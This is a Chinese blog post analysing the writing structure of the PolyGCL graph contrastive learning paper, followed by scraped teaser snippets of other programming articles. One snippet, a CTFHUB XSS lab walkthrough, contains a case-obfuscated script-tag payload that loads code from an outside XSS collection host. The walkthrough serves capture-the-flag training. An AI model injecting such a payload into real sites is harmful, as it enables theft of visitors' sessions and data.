学习写作--polyGCL.md

POLYGCL: GRAPH CONTRASTIVE LEARNING VIA LEARNABLE SPECTRAL POLYNOMIAL filters
这篇工作的摘要和引言写的特别好(不愧是ICLR spotlight)

摘要

第一步,设定背景

Recently, Graph Contrastive Learning (GCL) has achieved significantly superior performance in self-supervised graph representation learning.
这句话确立了索要解决问题的背景和重要性。他指明了对比学习在无监督图表示学习的重要性

第二步,提出问题:

However, the existing GCL technique has inherent smooth characteristics because of its low-pass GNN encoder and objective based on homophily assumption, which poses a challenge when applied to heterophilic graphs.
在这里,作者详细的介绍了传统方法的挑战或者缺点,其标明传统GCN使用的低频GNN的假设在异配图上不成立

第三步,引入有监督学习的方法:

In supervised learning tasks, spectral GNNs with polynomial approximation excel in both homophilic and heterophilic settings by adaptively fitting graph filters of arbitrary shapes.
在监督领域,自适应匹配任意形状滤波器的谱GNN表现情况很出色

第四步,很自然的,他们在无监督领域匮乏

Based on the above analysis, a natural question arises: Can we incorporate the excellent properties of spectral polynomial filters into graph contrastive learning?
那么,有监督领域该如何做呢?

第五步,引入解决方案:

从高通信息来实现解决异配性问题。

第六步,解决方案以及细节

We propose POLYGCL, a GCL pipeline that utilizes polynomial filters to achieve contrastive learning between the low-pass and highpass views. Specifically, POLYGCL utilizes polynomials with learnable filters to generate different spectral views and an objective that incorporates high-pass information through a linear combination.We theoretically prove that POLYGCL outperforms previous GCL paradigms when applied to graphs with varying levels of homophily.

最后一步,套话,我们在很多数据集上都取得了不错的结果

引言

第一步:确定话题的重要性

Self-supervised representation learning, which aims to learn informative representations without the demand of costly handcrafted labels, has achieved a wide range of applications in areas such as computer vision, natural language processing, and multimodal (Chen et al., 2020; Grill et al., 2020; Devlin et al., 2019; Radford et al., 2021; Gao et al., 2023). On non-Euclidean graph data, Graph Contrastive Learning (GCL), has become a mainstream research direction in self-supervised scenarios, namely learning representations by capturing consistency across different views and optimizing the objective function based on mutual information maximization to distinguish positive and negative examples (Velicˇkovic ́ et al., 2019; Hassani & Khasahmadi, 2020; Peng et al., 2020; Zhu et al., 2020b).
首先,第一句设置了问题的背景:在CV,NLP等领域,对比学习取得了巨大的进展。其次,第二句限定了当前的研究范围:图对比学习成为自监督场景的主流研究方向,它通过捕获不同视图的一致性并基于互信息最大化的优化目标函数来学习以区分积极和消极示例。
第三部分是过去的方法常用了什么模块。
现有的大部分GCL都依赖于同配性假设。其往往采用低通滤波器来是的编码器和平滑临近节点的表示目标。因此,GCL在同配图上表现出色(承上启下句子)

第二步:当前的挑战以及成果(讲故事)

很自然的,接上句,过去方法用的这个模块的缺陷
异配图在现实世界很流行->监督异配图取得了很大的进展->光谱GNN取得了很好的成果->传统GNN在异配图的应用很欠缺->提出问题:我们如何有效的将谱多项式的属性引入到GCL中,以确保在同配和异配图的表现力?

第三步:具体的解决方法:

选择何种谱多项式

首先,一个问题:选择何种谱多项式?
文章配图
说明在无监督的信息下,学习过滤器参数是困难的

如何解决这个问题?

为了解决这个问题,本文提出了PolyGCL。其通过光谱多项式过滤器对不同异配性水平的图进行学习。

第四步了,贡献

我们提出了polygcl,其将光谱过滤器引入到图对比学习中。Polygcl可以在同配图上进行有效学习,而无需传统GCL的复杂数据增强或者预处理
我们从理论上证明了高通信息在异性恋环境中的必要性。我们还验证了由低通和高通信息的简单线性组合策略构建的学习目标对下游任务具有理论保证。

相关工作

GCL

作为自监督的主要流派,GCL可以分为两类:

  1. 需增强的方法
    1. 无需增强的方法
  2. 光谱gnn

  3. 总体的写作风格:介绍低通滤波器->现有过滤器常用于多项过滤器->
  4. 从谱域的角度来看,GCN作为ChebNet的一阶逼近,已被证明是典型的低通过滤器,并已广泛用于图表示学习任务中。现有的作品经常考虑使用多项逼近过滤器函数,这样既保留了较强的匹配能力,又避免了拉普拉斯特征分解的O(N 3)复杂性。在考虑基的各种优秀性质的同时,有不同的多项选择,例如GPR-GNN的单调基,ChebNet的Chebyshev基础,以及BernNet中的非负伯恩斯坦基础等。尽管谱方程过滤器已被证明能够适合适用于同亲图和异亲图的任意过滤器函数,但它们仍然缺乏自我监督的应用。
  5. 方法部分

  6. 方法部分有点简陋,我学不得
  7. 证明部分–重要。明天以及后天得把这篇的证明推导完毕

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/453732.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

使用Flask实现本机的模型部署

前言 模型部署是指将大模型运行在专属的计算资源上,使模型在独立的运行环境中高效、可靠地运行,并为业务应用提供推理服务。其目标是将机器学习模型应用于实际业务中,使最终用户或系统能够利用模型的输出,从而发挥其作用。 一、设…

12 django管理系统 - 注册与登录 - 登录

为了演示方便&#xff0c;我就直接使用models里的Admin来演示&#xff0c;不再创建用户模型了。 ok&#xff0c;先做基础配置 首先是在base.html中&#xff0c;新增登录和注册的入口 <ul class"nav navbar-nav navbar-right"><li><a href"/ac…

黑马软件测试第一篇_Linux

Linux 操作系统 说明: 所有硬件设备组装完成后的第⼀一层软件, 能够使⽤用户使⽤用硬件设备的软件 即为操作系统 常见分类 桌⾯面操作系统: Windows/macOS/Linux移动端操作系统: Android(安卓)/iOS(苹果)服务器器操作系统: Linux/Windows Server嵌⼊入式操作系统: Android(底…

linux线程 | 同步与互斥 | 线程池以及知识点补充

前言&#xff1a;本节内容是linux的线程的相关知识。本篇首先会实现一个简易的线程池&#xff0c; 然后再将线程池利用单例的懒汉模式改编一下。 然后再谈一些小的知识点&#xff0c;比如自旋锁&#xff0c; 读者写者问题等等。 那么&#xff0c; 现在开始我们的学习吧。 ps:本…

吴恩达深度学习笔记(6)

正交化 为了提高算法准确率&#xff0c;我们想到的方法 收集更多的训练数据增强样本多样性使用梯度下降将算法使算法训练时间更长换一种优化算法更复杂或者更简单的神经网络利用dropout 或者L2正则化改变网络框架更换激活函数改变隐藏单元个数 为了使有监督机制的学习系统良…

ansible playbooks

文章目录 一&#xff0c;ansible剧本二&#xff0c;ansible playbooks主要特性三&#xff0c;yaml基本语法规则四&#xff0c;剧本playbooks的组成结构五&#xff0c;yaml编写1.示例2.运行playbook2.1 运行2.2 检查yaml文件的语法是否正确2.3 检查tasks任务2.3 检查生效的主机2…

maven创建父子项目

创建父类 创建子模块 添加文件夹 配置tomcat 参考 然后启动项目即可 参考 https://blog.csdn.net/gjtao1130/article/details/115000022

Linux——shell 编程基础

基本介绍 shell 变量 环境变量&#xff08;也叫全局变量&#xff09; 位置参数变量 预定义变量 运算符 条件判断 流程控制 if 单分支&多分支 case 语句 for循环 while 循环 read 读取控制台输入 函数 系统函数 basename 获取文件名 dirname 获取目录路径 自定义函数 综…

DataWhale10月动手实践——Bot应用开发task03学习笔记

一、工作流 1. 工作流的定义 工作流由多个节点组成&#xff0c;这些节点可以包括大语言模型&#xff08;LLM&#xff09;、代码模块、逻辑判断工具、插件等。每个节点需要不同的信息来执行其功能。工作流的核心含义是&#xff1a;对工作流程及其操作步骤之间的业务规则进行抽…

中国信通院联合中国电促会开展电力行业企业开源典型实践案例征集

自2021年被首次写入国家“十四五”规划以来&#xff0c;开源技术发展凭借其平等、开放、协作、共享的优秀创作模式&#xff0c;正持续成为推动数字技术创新、优化软件生产模式、赋能传统行业转型升级、助力企业降本增效的重要引擎。电力是国民经济的重要基础性产业&#xff0c;…

开源神器!CodeFormer:一键去除马赛克,高清修复照片视频

❤️ 如果你也关注大模型与 AI 的发展现状&#xff0c;且对大模型应用开发非常感兴趣&#xff0c;我会快速跟你分享最新的感兴趣的 AI 应用和热点信息&#xff0c;也会不定期分享自己的想法和开源实例&#xff0c;欢迎关注我哦&#xff01; 微信公众号&#xff5c;搜一搜&…

Docker安装Mysql数据库

不同的应用程序可能依赖于不同版本的 MySQL 或具有不同的配置需求。通过 Docker&#xff0c;每个 MySQL 实例都可以运行在独立的容器中&#xff0c;与宿主机以及其他容器的环境相互隔离。这有效避免了因不同应用对 MySQL 版本、依赖库等方面的差异而导致的冲突。例如&#xff0…

盛元广通数字化实验动物中心LIMS综合管理系统

盛元广通数字化实验动物中心LIMS综合管理系统通过集成各种功能&#xff0c;从实验申请、伦理审批、笼位预约、动物采购到开展动物实验、数据归档等全流程智能化管理&#xff0c;保证了实验信息随时可查&#xff0c;管理可视化、流程简单化。实验动物中心采用电脑端、APP和微信小…

LangSplat和3D language fields简略介绍

LangSplat: 3D Language Gaussian Splatting 相关技术拆分解释&#xff1a; 3dgs&#xff1a;伟大无需多言SAM&#xff1a;The Segment Anything Model&#xff0c;是图像分割领域的foundational model&#xff0c;已经用在很多视觉任务上&#xff08;如图像修复、物体追踪、图…

Linux目录

一、虚拟机环境配置 1.安装虚拟机 安装步骤 新建虚拟机-->典型安装-->选择稍后安装操作系统-->选择系统类型和版本&#xff08;这里安装的是CentOS7 64位&#xff09;-->选择虚拟机文件路径&#xff08;建议每台虚拟机单独存放并且路径不要有中文&#xff09;--&…

商淘云连锁管理系统

商淘云连锁管理系统助力连锁企业实现“人货账”全方位数字化管理&#xff0c;它依托连锁品牌进销存管理实现门店订货、线下收银、线上商城、会员营销等一体化管理。 门店订货补货支持连锁直营、加盟 不同门店不同进货价、不同门店不同商品、不同门店在线或者账期支付、门店PC或…

Go语言Gin框架的常规配置和查询数据返回json示例

文章目录 路由文件分组查询数据库并返回jsonservice层controller路由运行效果 启动多个服务 在 上一篇文章《使用Go语言的gorm框架查询数据库并分页导出到Excel实例》 中主要给大家分享了较多数据的时候如何使用go分页导出多个Excel文件并合并的实现方案&#xff0c;这一篇文章…

跨界创新|使用自定义YOLOv11和Ollama(Llama 3)增强OCR文本识别

《博主简介》 小伙伴们好&#xff0c;我是阿旭。专注于人工智能、AIGC、python、计算机视觉相关分享研究。 ✌更多学习资源&#xff0c;可关注公-仲-hao:【阿旭算法与机器学习】&#xff0c;共同学习交流~ &#x1f44d;感谢小伙伴们点赞、关注&#xff01; 《------往期经典推…

Electron-(三)网页报错处理与请求监听

在前端开发中&#xff0c;Electron 是一个强大的框架&#xff0c;它允许我们使用 Web 技术构建跨平台的桌面应用程序。在开发过程中&#xff0c;及时处理网页报错和监听请求是非常重要的环节。本文将详细介绍 Electron 中网页报错的日志记录、webContents 的监听事件以及如何监…

CTFHUB技能树之XSS——过滤关键词

开启靶场&#xff0c;打开链接&#xff1a; 看上去跟上一题应该差不多&#xff0c;应该只是添加多点过滤规则吧 直接拿xss平台的代码试试&#xff1a; <sCRiPt sRC//xs.pe/6b6></sCrIpT> 这时候突然听到xss平台的上线语音提醒&#xff1a; 成功得到flag&#xff1…